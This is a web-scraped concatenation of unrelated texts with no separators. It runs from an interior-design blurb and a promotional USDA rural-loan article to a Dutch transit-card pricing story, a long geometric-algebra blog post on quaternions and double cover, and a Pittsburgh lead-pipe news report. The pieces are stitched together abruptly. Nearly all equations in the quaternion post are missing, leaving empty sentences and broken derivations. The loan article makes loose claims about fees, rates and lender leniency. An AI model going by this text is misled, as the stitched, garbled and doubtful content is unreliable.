It doesn’t take very long to use the Internet to quickly find a company that can help you with interior design. You may also want to coordinate the work of an interior designer, or perhaps they also offer this type of service. If you can find one that is highly recommended by people that you trust, or perhaps a colleague that has used one recently, this will make it very easy for you to feel confident that the end result will be to your liking, helping you to change the interior of your home or office in a professional way.
Getting To Know What Is A USDA Loan
Many people out there may be interested in getting to know what is a USDA loan. The above type of loan is a form of financial mortgage aid given to people who dwell in rural areas in the United States for the purpose of setting up homes and residential properties. It should be noted that acquiring the best USDA home loan , a rural housing initiative by the United States Department of Agriculture can be fairly easy. Many people in the rural or non urban areas of the United states may lack a viable and modest living quarters or space due to their low income. Here is a quick glance at what everyone one needs to know about USDA loans.
A USDA is a financial or mortgage aid that allows successful applicants to buy or even build residential properties in any rural area in the country. This is an initiative that aims at empowering people who dwell in the rural or marginalized regions in the country. Many people nowadays are running to seek housing and residential properties in urban and more developed regions of the country. This form of migration is not necessarily good as it will lead to over population in most cities and major towns in the country in the years to come. To counter this unnecessary movement of people from rural areas to urban areas, the United States Department of Agriculture came up with this opportunity that allows various financial lenders to help people get some decent and modest living quarters in rural areas.
A USDA loan can also be used to rehabilitate, renovate or refurbish an already existing residential property. This is a provision that was considered in order to allow people who already have undeveloped real estate properties to adequately develop them and come up with safe and modest living quarters for their families.
When it comes to knowing what is a USDA loan one must look at a few things. First, a USDA loan can be issued without any form of initial down payment. This is to make the loan facility accessible to as many rural dwellers as possible. Low income earners and people without any form of decent housing are the target in this case and having such a loan facility is really hope giving.
A USDA loan may also have its closing costs included in its facility meaning that the up front costs incurred by an applicant are lower. A very important feature to note about USDA loans is that they have really good interest rates attached to them. The loans are a direct initiative by the government of the United States and this means that they are issued with very low or minimal interest rates that are quite favorable to most low income earners out there today. On top of that, all loans are issued with fixed interest rates that cannot increase throughout the loan repayment period. Successful applicants do not have to worry about changing financial times or economic stability because these factors do not affect the interest rates attached to these loans.
When it comes to insurance fees, the loans do not feature any form of monthly or annual repayment insurance fees. This reduces the total amount to be payed back when the loan matures. The loan repayment period can extend to up to 30 years. This gives successful applicants more than enough time to repay back the money they borrowed to buy, build or upgrade their living quarters. Lenders who have been approved to offer USDA loans are normally instructed to be very lenient on borrowers and may sometimes over look some credit issues that borrowers may already have.
Consumer organisations are furious because Translink always said the price of the ov-chipkaart simply covered the cost. However, the cards, which are €7.50 to consumers, cost just 88 cents to produce, the paper said.
In 2015, Translink booked turnover of €80m, of which €19m was pure profit, the AD said, adding that this rate of return is similar to that enjoyed by Apple. Translink is owned by the Dutch public transport firms.
‘I had no idea they earned so much,’ Arien Kruyt, chairman of rail users lobby group Rover, said. ‘€7.50 for a card is way too much.’ Rover says the price must come down and that replacement cards should be free. Currently the cards ‘expire’ after five years.
Consumer organisation Consumentenbond spokeswoman Sandra de Jong said: ‘The cards must be cheaper, last longer, replacements should be free and everyone should be able to take their money off the cards without a fee.’
That is until recently, when I came across the paper Imaginary Numbers are not Real – the Geometric Algebra of Spacetime which arrives at quaternions using only 3D math, using no imaginary numbers, and in a form that generalizes to 2D, 3D, 4D or any other number of dimensions. (and quaternions just happen to be a special case of 3D rotations)
In the last couple weeks I finally took the time to work through the math enough that I am convinced that this is a much better way to think of quaternions. So in this blog post I will explain…
… how quaternions are 3D constructs. The 4D interpretation just adds confusion
… how you don’t need imaginary numbers to arrive at quaternions. The term will not come up (other than to point out the places where other people need it, and why we don’t need it)
will not come up (other than to point out the places where other people need it, and why we don’t need it) … where the double cover of quaternions comes from, as well as how you can remove it if you want to (which makes quaternions a whole lot less weird)
… why you actually want to keep the double cover, because the double cover is what makes quaternion interpolation great
Unfortunately I will have to teach you a whole new algebra to get there: Geometric Algebra. I only know the basics though, so I’ll stick to those and keep it simple. You will see that the geometric algebra interpretation of quaternions is much simpler than the 4D interpretation, so I can promise you that it’s worth spending a little bit of time to learn the basics of Geometric Algebra to get to the good stuff.
Geometric Algebra
OK so what is this Geometric Algebra? It’s an alternative to linear algebra. Instead of matrices, there are multiple kinds of vectors, and there is a more powerful vector multiplication.
Let’s start with vector multiplication. In linear algebra we know two ways to multiply vectors: The dot product (producing a scalar) and the cross product (producing a vector). Where the dot product works for any number of dimensions, and the cross product only works in 3D. Geometric algebra also uses the dot product, but it adds a new product, the wedge product: . The result of the wedge product is not a vector or a scalar, but a plane. Specifically it’s the plane spanned by the two vectors. This plane is called a bivector because it’s the result of the wedge product of two vectors. There is also a trivector which describes a volume. The general principle is that the wedge product increases the dimension of the vectors by one. Vectors (lines) turn into bivectors (planes), and bivectors turn into trivectors (volumes). When we do math in more than 3 dimensions, we can go even higher, but I’ll stick to 2D and 3D for this blog post.
Before I tell you how to actually evaluate the wedge product, I first have to tell you the properties that it has:
It’s anti-commutative: The wedge product of a vector with itself is 0:
The first property will make sense when we talk about rotations. The second product should already make sense if we just think of a bivector as a plane. There is no plane between a vector and itself, so it’s 0.
The other thing I have to explain is how vector multiplication works: In geometric algebra, the vector product is defined as the dot product plus the wedge product:
The result of the dot product is a scalar, and the result of the wedge product is a bivector. So how do we add a scalar to a bivector? We don’t, we just leave them as is. It works the same way as when adding polynomials or when adding apples and oranges or when working with complex numbers: . We just leave both terms.
Note that usually I will leave out the star and just write .
In 3D space we have three basis vectors:
When multiplying these with each other we notice three properties of this new way of multiplying:
So when multiplying the basis vectors with each other, either the dot product or the wedge product is zero. We are left only with one of the two.
All other vectors can be expressed using the basis vectors. So the vector can also be written as and I will use the second notation more often, because it makes multiplication easier.
With that out of the way, we can finally give one real example of how vector multiplication works in geometric algebra. It’s actually pretty simple because we just multiply every component with every other component:
Let’s walk through a few of the steps I did there:
because .
because . because , so the scalar part is zero, and can write the wedge product of basis-vectors shorter as . This short-hand notation is only valid for vectors which are orthogonal to each other.
because , so the scalar part is zero, and can write the wedge product of basis-vectors shorter as . This short-hand notation is only valid for vectors which are orthogonal to each other. because
So as promised the result of multiplying two vectors is a scalar ( ) and a bivector ( ). A sum of different components like this is called a multivector.
When doing these multiplications you quickly notice that just as all vectors can be represented as combinations of , and , all bivectors can be represented as combinations of , and . So I’ll just use these as my basis-bivectors. We could make different choices here, for example we could use instead of but I like how the bivectors circle around like that. The choice of bivectors doesn’t really matter, just as the choice of basis-vectors doesn’t really matter. We could for example have also chosen , and as our basis vectors. All the math works out the same, we just get different signs in a few places.
Once we have three basis-vectors and three basis-bivectors, we notice that we can represent all 3D multivectors as combinations of 8 numbers: 1 scalar, 3 vector-coefficients, 3 bivector-coefficients and 1 trivector-coefficient. If we did the same exercise in a different number of dimensions, we would find similar sets of numbers. In 2D space for example we have 1 scalar, 2 vector-coefficients and 1 bivector-coefficient. That makes sense, because in 2D there are only 2 directions, only 1 plane and no trivector because there is no volume. If we went to 4D we would have 1 scalar, 4 vector-coefficients, 6 bivector-coefficients, 4 trivector-coefficients and 1 quadvector-coefficient. I’m sure you can spot the pattern that would allow you to go to any number of dimensions. (but really these come out naturally depending on how many orthogonal basis-vectors you start with)
We’re almost finished with our introduction to geometric algebra, so I need to mention one final important property: vector multiplication is associative. Meaning so we can choose which multiplication we want to do first.
OK with that we’re finished with the introduction, but I want to practice a few more multiplications so that you get the hang of it. Maybe do a few yourself. It takes a couple minutes, but then you have the rules ingrained into muscle memory. This practice section is optional though.
Vector Multiplication Practice
Let’s do some practice runs to build up an intuition for how these vectors and bivectors behave. You can skip this section entirely if you don’t care about geometric algebra and just want to get to rotations.
What happens if we multiply two similar bivectors?
So what I did there is I used to re-order the basis-elements. Then everything collapses down because . So what we see here is that the dot product of a bivector is a negative number. Isn’t that interesting? In particular if we have a bivector of length 1 and multiply it with itself: we see that . Remember how in quaternions there are these three components , and which have ? We’re going to be using the bivectors for that. However it just so happens that the bivector is a mathematical construct whose square is -1. That does not mean that it is the result of . I could build any number of mathematical constructs that square to -1, (for example trivectors also square to minus one) that doesn’t mean that they are all the square root of -1. How many square roots is -1 supposed to have?
Speaking of squaring a trivector, let’s try that to get practice at re-ordering these components:
Getting the hang of it yet? It’s all about re-ordering components until things collapse.
Let’s try multiplying two different bivectors:
The result of two bivectors is another bivector. If we have more complicated bivectors that are made up of multiple basis-bivectors, the result is a scalar plus a bivector:
So this is a scalar ( ) plus quite a complicated bivector ( ).
What happens if we multiply across dimension. Like multiplying a vector with a bivector?
If we multiply the plane with a vector that’s on the plane, we get another vector on the plane. In fact if we do this a few more times:
We notice that after four multiplications we are back at the original vector . So every multiplication with a bivector rotates by 90 degrees. If we multiply on the left side instead of multiplying on the right side, we would rotate in the other direction.
What if we multiply the plane with a vector that’s orthogonal to it?
Well that’s disappointing, we just get the trivector. What if we multiply the trivector with the plane?
If we multiply the trivector with the plane, the plane collapses and we’re left with just the vector that’s normal to the plane. This works even for more complicated bivectors:
Which is the normal of the original plane. What if we multiply a vector with the trivector?
If we multiply a vector with the trivector, the vector part collapses out and we’re left with the plane that the vector is normal to. This works even for more complicated vectors:
And with that we’re back at the original plane. Almost. The sign got flipped. If we had multiplied by we would have been back at the original plane.
So multiplying with the trivector turns planes into normals and normals into planes, because the other dimensions collapse out. This also allows us to define the cross product in geometric algebra: . So first we build a plane by doing the wedge product, then we get the normal by multiplying with the trivector.
Reflections
If you went through the practice chapter you will have already seen places where geometric algebra does rotations: bivectors rotate vectors on their plane by 90 degrees. It’s not quite clear how we can build arbitrary rotations with that though.
One thing that’s a little bit easier to do is reflections, and we will see that we can get from reflections to rotations.
Let’s say we want to reflect the vector a in the picture below on the normalized vector r, to get the resulting vector b:
To do that it’s useful to break the vector a into two parts: The part that’s parallel to r, and the part that’s perpendicular to r, :
(forgive my crappy graphing skills)
These have a few properties:
(the result is a scalar and we can flip the order)
(the result is a bivector and flipping the order flips the sign)
From the picture it should be clear that if we subtract instead of adding it, we should get to . Or in other words:
So how do we get these and vectors? You may already know how to do it, but we actually never need to explicitly calculate them. Because we can actually represent this reflection as
How do we get to that magical formula? Let’s multiply it out:
The important step is that , allowing us to re-order the elements until we’re left with which is just 1, as long as is normalized.
Rotations
The reflections above look kinda like rotations. In fact if all we want to do is rotate a single vector, we can always do that with a reflection. The problem is if we want to rotate multiple vectors, like in a 3d model, then the rotated model would be a mirror version of the original model.
The solution to that is to do a second reflection. There are many possible pairs of reflections that we could choose, but here is an easy one. First we reflect on the half-way vector between and , (where writing pipes around a vector like is the length of the vector, so is a normalized vector):
So in this picture I am reflecting on the vector , which is half-way between and , landing us at . To get from to we just have to do a second reflection with the vector itself. (which is a bit weird, but if you follow the equations it works out) Given that is one reflection, is two reflections. First we reflect on , then we reflect on .
Earlier we chose . We can multiply this out and define
Then the rotation is written as (where you could work out by multiplying out the other side, or you can just flip the sign on the bivector parts of ), and the inverse is written as .
Quaternions
And just like that we have quaternions. How? Where? I hear you asking. That part in the last equation is a quaternion. If you multiply it all out, you will find that all the vector parts and trivector parts collapse to 0, and you’re just left with the scalar part and the bivector coefficients. And it just so happens that if you have a multivector which consists of only a scalar and the bivectors, multiplication behaves exactly like multiplication of quaternions.
Now isn’t that interesting? All we did was we did the math for reflections, and if we do two of those we get quaternions? No imaginary numbers, no fourth dimension, just 3d vector math. All we had to do was introduce that wedge product .
And you’ll notice that the way we apply , by doing looks an awful lot like how we multiply quaternions with vectors. To multiply a quaternion with a vector we do .
OK so let’s convince ourselves that these really are quaternions and work out the quaternion equations. They are . Our quaternion consists of a scalar and three bivectors, , , and . (I use them in this order because the plane rotates around the x axis, so it should come first). So let’s try this:
Seems to work so far. But I actually don’t fulfill the equation because for me . I could fix that by choosing a different set of basis-bivectors. For example if I chose , and , then this would work out because . But I kinda like my choice of basis vectors and all the rotations work out the same way. If this bothers you, just choose different basis bivectors.
One super cool thing is that when doing the derivations using reflections, I never had to specify the number of dimensions. We could use 3D vectors or 2D vectors or any number of dimensions. So if we work out the math in 2D, what do you think we get? That’s right, we get complex numbers: One scalar and one bivector. Because that’s how you do rotations in 2D. But we could go to any number of dimensions using this method. (except in 1D this kinda collapses, because you can’t really rotate things in 1D)
Also we didn’t specify what we are rotating. We assumed that it was a vector, but we never required that. So this can rotate bivectors and it can rotate other quaternions.
Interpreting Geometric Algebra Quaternions
So we found a new way to derive quaternions. This new way is neat because we don’t need 4 dimensions and we don’t need imaginary numbers. But can we learn anything new from this? Already we have two possible new interpretations:
A quaternion is the result of two reflections A quaternion is a scalar plus three bivectors
Maybe one of these has some interesting conclusions.
Before that I want to kill the 4D interpretation properly: There are two reasons why people say quaternions are 4D: The fact that quaternions have four numbers, and the fact that quaternions have double cover. I’ll talk about the double cover separately later, but here I briefly want to talk about the four numbers thing. There are lots of 3D constructs that have more than three numbers. For example a plane equation has four numbers: . Or if we want to do rotations using matrices in 3D, we need a 3×3 matrix. That’s 9 numbers. But nobody would ever suggest that we should think of a rotation matrix as a 9 dimensional hyper-cube with rounded edges of radius 3. So don’t think of quaternions as a 4 dimensional hypersphere of radius 1. Yes, there are some useful conclusions to draw from that interpretation (for example it explains why we have to use slerp instead of lerp) but it’s such a weird interpretation that it should come up very rarely.
With that out of the way let’s get to these two new interpretations:
1. Interpreting quaternions as two reflections. I couldn’t get much useful out of this. The first reflection is always on the vector half-way between the start of the rotation and the end of the rotation. The second reflection is always on the end of the rotation. I’ve played around with visualizing that, but the visualizations always looked predictable and didn’t offer any insights.
2. Interpreting quaternions as a scalar plus three bivectors. This interpretation on the other hand turned out to be a goldmine. Not only can you get an intuitive feeling for how this behaves, you can also get visualizations from this. This interpretation also allowed me to get rid of the double cover of quaternions.
So even though we have derived quaternions using reflections above, I will actually spend the rest of the blog post talking about quaternions as scalars and bivectors.
Scalars and Bivectors
A quaternion is made up of a scalar and three bivectors. We all know what a scalar does: Multiplying with a scalar makes a vector longer or shorter. I said above that multiplying with a bivector rotates a vector by 90 degrees on the plane of the bivector.
So how can we build up all possible rotations if all we have is a scalar and three rotations of exactly 90 degrees? The answer is that a bivector actually does slightly more: It rotates by 90 degrees, and then scales the vector.
I said that a bivector is a plane. But because of its rotating behavior, I actually like to visualize it as a curved line. So I visualize a vector as a straight line, and a bivector as a 90 degree curve. So here is a visualization of three different bivectors:
These are the bivectors (bottom), (middle) and (top). It’s a 90 degree rotation followed by a scale. I find this visualization particularly useful when chaining a bunch of operations together.
For example let’s say we want to rotate by 45 degrees on the xy plane. To do that we can multiply a vector with the quaternion . (that 0.707 is actually , but I’ll truncate it to 0.707 here) Now let’s multiply the vector with that quaternion. That gives us
Here’s how I would visualize that:
First we rotate by the bivector to get :
So the bivector is a rotation by 90 degrees followed by a scale of 0.707.
Next we multiply the original vector with the scalar to get the vector , which we add to the previous result:
Which then gives us the final vector of :
Which is the original vector rotated by 45 degrees.
This way of visualizing makes it very clear that multiplication with a quaternion is just multiplication with a scalar and multiplication with a bivector. And this also shows how we got a 45 degree rotation, even though all we can do is 90 degree rotations followed by scaling. It also explains why we need the single scalar value, and why the three bivectors are not enough: We sometimes want to add some of the original vector back in to get the desired rotation.
One thing to note is that in here I chose to do the bivector multiplication first, and the scalar multiplication second. But the choice is kinda arbitrary as both of these happen at the same time, and they don’t depend on each other.
Let’s rotate that same vector again to show what this looks like when we didn’t start off with one of our basis vectors:
So let’s visualize that:
First we rotate with the bivector, which puts us at :
So once again this does a 90 degree rotation followed by a scale of 0.707.
Next we multiply the original vector by 0.707 and add the resulting vector :
Which then gives us the final vector of :
Which is exactly what we would expect after rotating by 45 degrees twice.
I think these visualizations also explain how we can get arbitrary rotations: For bigger rotations we just have to make the scalar component smaller as the bivector component gets bigger.
So far we have only looked at the xy plane. To visualize this in 3D, I wrote a small program in Unity that can do the above visualization for all three bivectors. Here is what that looks like for rotating from the vector to the vector . That gives me the particularly nice quaternion .
This is going to be hard to do in pictures because it’s a 3D construct, but I’ll give it a shot. Here is what the two vectors look like:
So I want to rotate from the vector on the left to the vector on the right.
Here is what the contribution of the bivector looks like:
So this bivector is rotating on the xy plane. It takes the end point of the vector and rotates it 90 degrees down on the xy plane. It may be a bit hard to see, but imagine all the yellow lines lying on a xy plane.
The result of that 90 degree rotation is the vector . (the lower edge of the plane) I used the end of that rotation to start our result vector. (see how I have a third short vector sticking out at the bottom now? That’s )
Next I’m doing the contribution of the bivector:
The original vector was already rotated 45 degrees on the yz plane, so this rotation started off at a 45 degree angle and it rotated 90 degrees on the yz plane. Then it scaled the result by 0.5, giving us the result vector . (the bottom of the teal plane)
I also added the result of that rotation to the result vector. (the shorter vector that was sticking out now has a corner in it, indicating that I added the new )
Next we add the contribution of the bivector:
This took the end point of the original vector, and rotated it by 90 degrees on the zx plane. Then it scaled the result by 0.5, giving us the new vector (the end of the purple plane). The reason why the purple plane is floating above the other planes is an artifact of my visualization: I start at the end point and then I only move on the zx plane, so I end up floating above everything else. I also added this to our result vector at the bottom there.
Finally I’m going to add the scalar component into this:
This just took the original vector and scaled it by 0.5, giving us . I then added that to the results of the three bivector rotations. And as we can see, if we add up the contributions of the three bivectors and of the scalar part, we end up exactly at the end point of the vector that we were rotating into. (it may look like the last part is longer than 0.5 times the original vector, but that’s a trick of the perspective. The reason I picked this perspective is that you can see all three rotations from this angle)
So the rotation happened by doing three bivector multiplications and one scalar multiplication and adding all the results up.
Once again I want to point out that the order in which I added these up is arbitrary. All of these multiplications happen at the same time and don’t depend on each other, since they all just use the original vector as input. I chose to do this in the order xy, yz, zx, scalar, because that gave me a nice visualization.
I wanted to make the above visualization available for you to play with. I thought I could be really cool and upload a webgl version so that you can just play with it in your browser. So I built a webgl version, but then I found out that I can’t upload that to my wordpress account. So… I just put it in a zip file which you have to download and then open locally… Here it is.
There is an alternate visualization for the above rotation: Just as we would think of the vector as a single vector, we can also think of the bivector as a single bivector. It’s the plane with the normal , which is the plane spanned between the start vector and the end vector of the rotation. Then the visualization shows a 90 degree rotation on that plane, followed by a scaling of the length of this bivector. (which is ) That visualization looks like this:
So we rotate on this shared plane, then scale by 0.866, and finally add the original vector scaled by 0.5. This visualization as a single 90 degree rotation by the sum-bivector is equally valid as the visualization of the component bivectors. Just as we can visualize vectors either by their components, or as one line, we can visualize bivectors either by their components or as a single plane.
That finishes the part about visualization. As far as I know this is the first quaternion visualization that doesn’t try to visualize them as 4D constructs, and I think that really helps. Every component now has a distinct meaning and a picture. And we can see how the behavior of the whole quaternion is a sum of the behavior of its components.
Axis Angle
One quick aside I want to make is that sometimes people say that quaternions are related to the axis/angle representation of rotations. That is a good way to get people started with quaternions, but then it breaks down relatively quickly because the equations don’t make sense and the numbers behave weirdly. The scalar & bivector interpretation is actually related to the axis/angle interpretation, and it explains what’s really going on here. Because when I say that something rotates 90 degrees on a plane, we can also say that it rotates 90 degrees around the normal of the plane. So in this interpretation quaternions first: rotate 90 degrees around the normal, followed by being scaled down, and second: multiply the original vector times a scalar and add that. It’s not quite axis/angle, but we can see how it’s related and why the axis/angle interpretation sometimes seems to work.
With the scalar & bivector interpretation of quaternions, we have a good idea of what quaternions do. With that, we’re ready to tackle the final quaternion mystery:
Quaternion Double Cover
When I was working on this, a few friends asked me how the “scalar and bivector” explanation explains the double cover of quaternions. If you’re not familiar, the double cover means that for any desired rotation, there are actually two quaternions that represent that rotation. For example the quaternions that have 1 or -1 in the scalar part, and 0 for all the bivectors both represent a rotation by 0 degrees. (or by 360 degrees depending on how you look at it)
At first I responded that I hadn’t gotten to that part yet, but as I was working on this, the double cover just never came up. So eventually I decided to go looking for it, and… I couldn’t find it. It seemed like my quaternions didn’t have double cover. So I double checked everything and noticed that I have one difference: Remember how in order to multiply a quaternion with a vector we did this multiplication: . I accidentally didn’t do that. I just did .
And the simple multiplication actually works as long as you’re only rotating vectors on a plane that they actually lie on. For example rotating the vector on the plane works out: . The problems start if we’re rotating a vector that doesn’t completely lie on the plane that you’re rotating on. So let’s say I’m rotating the vector on the plane:
That’s strange: Some of our vector part has disappeared, and instead we have a trivector. This is not good. You don’t want part of the vector to disappear after a rotation. Rotating with fixes the problem, because the trivector part cancels out:
So now the part that’s on the plane (the component) got rotated, but the part that’s not on the plane (the component) was left unchanged. This is exactly what we want.
But look at what happened: The first rotation was a 90 degree rotation and the part that’s on the plane ended up at . And now we did a full 180 degree rotation and that part ended up at . How did that happen?
Well it actually makes sense. We are multiplying with the quaternion twice after all. Of course it would do a double rotation. It’s clearest if you multiply it all out, but the short explanation is that the conjugate allows us to rotate roughly in the same direction while multiplying from the other side: , and we went ahead and just multiplied on both sides . So if we multiply on both sides of course we get twice the rotation.
This is literally where the half-angles of quaternions and the double cover come from: From the way we multiply quaternions with vectors. Internally quaternions actually don’t have double cover. If you multiply one 90 degree quaternion with a different quaternion, then after four rotations that second quaternion will end up exactly where it started. But then we chose a vector multiplication function that applies the quaternion twice. So we have to change the interpretation and that 90 degree quaternion becomes a 180 degree quaternion. And actually my visualizations above don’t make sense any more because the vector multiplication always does that operation twice.
Killing Double Cover
So if the vector multiplication is the problem, could we define a vector multiplication that doesn’t lead to double cover? That would make quaternions much simpler.
And the answer is that yes, we can. Remember that rotating vectors that lie on the plane already worked correctly. The problem was that rotating an orthogonal vector would turn into a trivector. (but rotations should leave orthogonal vectors unchanged) The solution is that we have to first project the vector down onto the plane, then rotate within the plane, and then apply the original offset again. Here is an outline of the algorithm:
Compute the normal of the plane by multiplying with the trivector (very fast) Project the vector onto that normal (fast, as long as you use the version without a square root) Subtract that projected part (very fast) Multiply the vector with the quaternion Add the projected part (very fast)
So now we only have to do a single multiplication instead of two multiplications. And since all other operations are fast, this might even be faster than the double-cover-giving quaternion/vector multiplication.
And yes, this totally works and it’s faster and it’s less confusing. But you don’t want to use it. The reason is that as soon as I didn’t have double cover in my quaternions, I discovered why double cover is actually awesome.
Why We Need Double Cover
Double cover is what makes quaternion interpolation so great. (by interpolation I mean getting from rotation a to rotation b in multiple small steps as opposed to one large step) Without double cover, there are some quaternions that you can not interpolate between. Having to worry about those special cases makes interpolation a giant pain and defeats the whole point of why we used quaternions to begin with.
To explain what the problem is, let’s do a couple 90 degree rotations on the plane, once using double cover and once not using double cover:
Rotation Single Cover Double Cover
If we interpreted these two numbers as vectors, the double cover version would do a 45 degree rotations of the vector each time. But since the double cover quaternion will rotate twice, this will actually give us a 90 degree rotation from one row to the next.
Here is a visualization of the same numbers. The idea here is that I put the scalar value on the x axis and the bivector on the y axis:
I drew the double cover as two lines, and the single cover as one line. Once again we see that a quaternion that uses double cover rotation is simply half-way towards the quaternion that uses single cover rotation.
I said that double cover is what makes quaternion interpolation so great. To see why, let’s try interpolating between these. To keep it simple I won’t do a slerp, but I’ll just try to find the rotation half-way between any of these rotations. We do that by adding the quaternions and then renormalizing them. Interpolating from the rotation to the rotation is pretty easy in both cases:
For single cover: and after normalization that comes out to be which is a 45 degree rotation.
For double cover: and after normalization that comes out to be , which is a 22.5 degree rotation, or with the double cover it’s a 45 degree rotation.
So interpolating a 90 degree rotation works just fine in both cases.
However we run into problems when interpolating from the rotation to the rotation:
For single cover: . Huh. We can’t find the half-way rotation between these two because we just get 0, which we can’t normalize. You may think that this is just a problem because I chose to find the exact midpoint between these two vectors. But this is also a problem if we want to slerp from one to the other. It all collapses and we’re left with a zero vector.
So let’s reason through this manually. How would we interpolate from +1 to -1? We could rotate on the xy plane or on the yz plane or on the zx plane, or on any combined bivector. How do we know which bivector to choose? They’re all zero in both of our inputs. We’re missing information. In order to interpolate between two rotations, we need to know a plane on which we want to interpolate.
Let’s see how the double cover solves this: and after normalization we’re left with which was our 90 degree rotation, which is exactly the half-way point between the 0 degree rotation and the 180 degree rotation.
Isn’t that neat? In the double cover version one of our quaternions had a component, so we could interpolate on that plane. In fact you could build many possible 180 degree rotations in the double cover version. We could build a 180 degree rotation that rotates on the plane or on a linear combination of the and planes, or on any arbitrary plane. They all look different and they all interpolate differently. That’s a great property because we want to be able to interpolate on any plane of our choosing. In the single cover version however we only have one way to rotate 180 degrees and it looks the same no matter which plane you’re on. Which works fine if all you want to do is rotate 180 degrees, but it doesn’t work if you want to interpolate from one rotation to the other.
One way of thinking of this is that the trick of double cover is that you can express any rotation as a rotation of less than 90 degrees. We already saw that if we want to go 180 degrees, we just go 90 degrees twice. Want to go 270 degrees? Just go -45 degrees twice. Like that we can always stay far away from the problem point of the 180 degree rotation that we would run into often if we used the single cover version of quaternions. And like that we always keep the information of which plane we are rotating on, making interpolation easy.
Another way of thinking of this is that the double cover version always gives us a midpoint of the rotation which we can use to interpolate. For some pairs of rotations, there are a lot of possible midpoints depending on which plane we want to interpolate on. Double cover solves that problem by giving us one midpoint, which narrows our choices down to one plane. And we can derive any other desired interpolation if we have the midpoint.
You may be wondering if there is a problem point where the double cover breaks down. Looking at the table above, we can find one: Rotating by 360 degrees: . Which we can not renormalize. But that case is easy to handle, and in fact every slerp implementation already handles this: We detect if the dot product of the quaternions is negative, and if it is we flip the target quaternion. So then we interpolate from to which is just a 0 degree rotation. Which is exactly what we wanted. So as long as we handle the “negative dot product” case in our interpolation function, we can handle all possible rotations. Because there are two possible ways to express every rotation, and if we run into one that’s inconvenient, we just switch to the other one.
So I hope I have convinced you that you want to have double cover. It’s a neat trick that makes interpolation easy. Quaternions do not “naturally” have double cover, but the double cover comes from the way we define the vector multiplication. If we used a different algorithm to multiply a quaternion with a vector (I outlined one above) then we could get rid of the double cover, but we would be making interpolation more difficult. I actually think that the double cover trick is not unique to quaternions. I think we could also apply it to rotation matrices to make them easier to interpolate. I haven’t done the math for that though.
Summary
So in summary I hope that I was able to make quaternions a whole lot less weird. The geometric algebra interpretation of quaternions shows us that they are normal 3D constructs, not weird four-dimensional beasts. They consist of a scalar and three bivectors. Bivectors do 90 degree rotations followed by scaling, and we saw how we can create any rotation just from those 90 degree rotations and linear scaling. The rules that govern these constructs are simple, making the equations easy to derive and understand. (as opposed to the quaternion equations which can only be memorized) Also quaternions do not naturally have a double cover. The double cover comes from the way we define the multiplication of vectors and quaternions. We could get rid of it, but the double cover is a great trick for making interpolations easier.
Unfortunately this still only makes it slightly easier to understand the numbers in quaternion. The double cover makes it so that each rotation actually gets applied twice, so my visualizations above only show half of what’s going on. This also makes it difficult to interpret the numbers because you have to know what happens if a rotation gets applied twice, which is a whole lot harder to do in your head than doing a single rotation. But still I now have a picture of quaternions, and I know what each component means, and why they behave the way they do. I hope I was able to do something similar for you.
At the bottom of a five foot pit, the crew’s foreman, Mark McClafferty, is now using a shovel, uncovering one last scoop of dirt before finding what the crew’s been looking for.
“It’s lead,” he says, pointing out a section of grey pipe in the clay.
He points to the tell tale sign of lead pipes–large round lumps where different sections of pipe join together–almost like the pipes are swollen.
“That’s where they heated it up and melted the lead together,” explains McClafferty, a foreman for Frank J. Zottola Construction, which is performing the work for the Pittsburgh Water and Sewer Authority (PWSA).
LISTEN: “Pittsburgh Struggles to Fix Its Lead Problem”
The crew is looking for lead service lines, the “lateral” pipes that connect water mains in streets with homes. Because the water authority failed its lead test in 2016, it’s mapping all 71,000 of its connections, in the hopes of eventually replacing all lead lines.
Each service line into a house has two parts. One part is owned by the water authority, and the other by the property owner.
The connection the crew has found shows lead pipes on both the city’s half and the homeowner’s. But instead of replacing the pipes, the city now has to just cover them back up.
“We just backfill it and leave it,” said Manda Metzger, a PWSA engineer overseeing the dig. “If they prefer to change their line–otherwise we can’t do a partial replacement.”
Since its lead tested at 22 parts per billion (ppb) last year, well above the federal action threshold of 15 ppb, the water authority has been under state mandate to replace 7 percent of its lead lines. That’s about 1,400 a year.
Until June, the water authority had been doing ‘partial’ replacements, replacing public lead pipes but leaving the private ones.
But the authority stopped that practice when it found doing only one side of the line can actually make the problem worse, says Bob Weimar, interim executive director of the PWSA.
Weimar says there’s a coating inside the pipes that keeps lead from getting into water. Construction can knock some of that coating off on old pipes.
“What we’ve found is that the lining is subject to being broken up as a result of just physical jostling,” he says. “And as a result you’re going to find some amount of this coating breaking off. It’s similar to what happens in a stream when you have a heavy rainstorm and it washes away debris that might have collected in the stream.”
When PWSA replaced only its side of the lead service line, lead levels spiked. One home had a reading nearly 100 times the federal action level.
Marc Edwards is a Virginia Tech scientist who helped first raise the alarms about Flint, Michigan’s lead issues. He says stopping partial line replacement was the right thing to do, but that doesn’t take away from Pittsburgh’s bigger problems with lead.
“Pittsburgh currently has amongst the highest levels in the United States for any major city,” he says.
But Pittsburgh isn’t alone. Many cities and rural areas face problems with lead. Pipes from as far back as the Civil War-era are buried all over the country, still carrying water into homes.
“Lead is the best known neurotoxin. It adversely affects every organ in the human body and its effects are irreversible,” Edwards says. The CDC says there is no safe level of lead in water. Edwards says the current federal threshold for lead in water–15 parts per billion–doesn’t go far enough.
The city’s lead levels were 14.8 parts per billion (ppb) in 2013, meaning that 10 percent of samples tested above that level. After a 2014 switch in corrosion-inhibiting chemicals, which keep lead out of water, lead levels went up in 2016.
Weimar says the increased lead levels also coincided with tougher testing standards.
The authority changed its chemical mixture back to its original formula, and its two most recent water tests showed decreasing lead levels: 18 ppb in December 2016 and 15 ppb in June.
For the hundreds of homes in Pittsburgh where there have been partial line replacements, the water authority is recommending residents flush their water lines before using them for drinking, and use pitcher-style lead filters.
Cory Riddle, of Pittsburgh’s Mt. Washington neighborhood, went a step further.
Riddle and his housemate installed a $200 water treatment system under their kitchen sink when they heard there may be lead in their water. Then the city did a partial lead line replacement on his street a few months ago.
His lead-removal system keeps his water clean, but he’s frustrated that he and his roommate had to install the system just to drink clean water.
“It’s pretty lousy to be honest. The half-baked effort of just replacing half of it and increasing lead content,” he says.
“You have all different levels just pointing their fingers in a million different directions, but no one actually getting down to the real work and doing the hard work of replacing the pipes.”
He knows removing the thousands of lead service lines will be a huge expense. The water authority’s initial estimate is $411 million, though it has since lowered that estimate. But Riddle says the city should have been more proactive with the problem.
“I guess I understand those limitations but I have to question why was it allowed to get to this level,” Riddle says.
That’s a question Allegheny County controller Chelsa Wagner has been asking, too. She says lead has become a hot potato between the various state and local agencies with a hand in Pittsburgh’s water.
